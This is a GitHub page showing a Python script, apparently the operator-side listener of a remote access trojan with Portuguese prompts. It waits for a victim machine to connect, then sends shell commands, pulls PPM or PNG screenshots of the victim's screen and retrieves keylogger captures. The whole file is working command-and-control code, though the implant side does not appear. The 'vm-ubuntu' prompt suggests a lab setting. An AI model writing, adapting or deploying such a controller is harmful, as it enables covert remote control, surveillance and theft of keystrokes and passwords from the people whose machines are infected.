-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathscript_local.py
More file actions
136 lines (122 loc) · 3.96 KB
/
script_local.py
File metadata and controls
136 lines (122 loc) · 3.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import socket
import os
import subprocess
from time import sleep
def command(conn):
print("Envie um comando a ser executado ou 'quit' para encerrar a conexão")
while True:
cmd = input("root@vm-ubuntu# ")
conn.sendall(cmd.encode('utf-8'))
if cmd.strip() == "quit":
break
else:
fileSize = 0
data = conn.recv(1024)
try:
fileSize = int(data.decode('utf-8').rstrip('\x00'))
except:
pass
count = 0
while (count < fileSize):
data = conn.recv(1024)
count += len(data)
print(data.decode('utf-8').rstrip('\x00'))
def screenshot(file):
fileSize = 0
data = conn.recv(1024)
try:
fileSize = int(data.decode('utf-8').rstrip('\x00'))
except:
pass
count = 0
while (count < fileSize):
data = conn.recv(1024)
count += len(data)
# Writes the received message
file.write(data.rstrip(b'\x00'))
print("Screenshot finalizado com sucesso.")
def keyboard():
data = conn.recv(1024)
# Decodes and displays the received message
received_msg = data.decode('utf-8').rstrip('\n\x00')
print(received_msg)
# Sets the IP address and port on which the host will wait for the connection
HOST = 'HOST_IP'
PORT = HOST_PORT
# Creates a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Associates the socket with the specified IP address and port
sock.bind((HOST, PORT))
# Wait a connection
sock.listen(1)
print(">>> Aguardando conexão... <<<")
# Accepts the connection and gets the socket object from the established connection
conn, addr = sock.accept()
print(">>> Conexão estabelecida com:", addr, "<<<")
i = 0
j = 0
# Main loop for sending and receiving messages
while True:
print(">>> Escolha uma das seguintes opções <<<")
print("[1] Enviar comandos de console")
print("[2] Tirar screenshot (não compatível com interface gráfica)")
print("[3] Tirar screenshot (interface gráfica em espaço de usuário)")
print("[4] Recuperar inputs de usuário")
print("[5] Encerrar conexão")
try:
num = int(input())
if num not in [1,2,3,4,5]:
raise ValueError
except ValueError:
print("Invalid input. Please enter a valid integer.")
continue
# Shell command
if num == 1:
cmd = "1\n"
conn.sendall(cmd.encode('utf-8'))
command(conn)
# PPM screenshot (not compatible with graphic interfce)
elif num == 2:
file_path = "./temp.txt"
file = open(file_path, 'ab')
screenshot_path = f"./screenshot{i}.ppm"
i += 1
cmd = "2\n"
conn.sendall(cmd.encode('utf-8'))
screenshot(file)
file.close()
hexdump_command = "xxd -r -p " + file_path + " > " + screenshot_path
subprocess.Popen(hexdump_command, shell=True).communicate()
os.remove(file_path)
# PNG screenshot
elif num == 3:
file_path = "./temp2.txt"
file = open(file_path, 'ab')
screenshot_path = f"./screenshot{j}.png"
j += 1
cmd = "3\n"
conn.sendall(cmd.encode('utf-8'))
user = input("Escreva o nome do usuário normal: ")
conn.sendall(user.encode('utf-8'))
screenshot(file)
file.close()
hexdump_command = "xxd -r -p " + file_path + " > " + screenshot_path
subprocess.Popen(hexdump_command, shell=True).communicate()
os.remove(file_path)
# Keylogger
elif num == 4:
cmd = "4\n"
conn.sendall(cmd.encode('utf-8'))
print(">>> Recuperando keylogger... <<<")
keyboard()
print(">>> Keylogger recuperado. <<<")
# End connection
else:
print(">>> Encerrando conexão <<<")
cmd = "5\n"
conn.sendall(cmd.encode('utf-8'))
break
sleep(1)
# Close the connection and the socket
conn.close()
sock.close()